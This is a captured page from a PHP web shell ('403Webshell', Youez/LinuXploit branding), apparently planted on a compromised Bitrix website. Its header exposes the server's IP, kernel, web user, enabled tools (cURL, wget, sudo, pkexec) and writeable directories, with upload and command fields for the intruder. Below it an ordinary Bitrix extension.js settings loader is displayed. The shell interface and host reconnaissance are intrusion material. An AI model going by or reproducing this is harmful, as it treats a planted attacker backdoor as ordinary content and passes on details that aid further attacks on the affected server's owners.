403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/main/core/src/lib/extension/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/main/core/src/lib/extension/extension.js
import Type from '../type';
import SettingsCollection from './internal/settings-collection';
import deepFreeze from './internal/deep-freeze';

const settingsStorage = new Map();

export default class Extension
{
	static getSettings(extensionName: string)
	{
		if (Type.isStringFilled(extensionName))
		{
			if (settingsStorage.has(extensionName))
			{
				return settingsStorage.get(extensionName);
			}

			const settingsScriptNode = document.querySelector(
				`script[data-extension="${extensionName}"]`,
			);
			if (Type.isDomNode(settingsScriptNode))
			{
				const decodedSettings = (() => {
					try
					{
						return new SettingsCollection(
							JSON.parse(settingsScriptNode.innerHTML),
						);
					}
					catch (error)
					{
						return new SettingsCollection();
					}
				})();

				const frozenSettings = deepFreeze(decodedSettings);
				settingsStorage.set(extensionName, frozenSettings);

				return frozenSettings;
			}
		}

		return deepFreeze(new SettingsCollection());
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit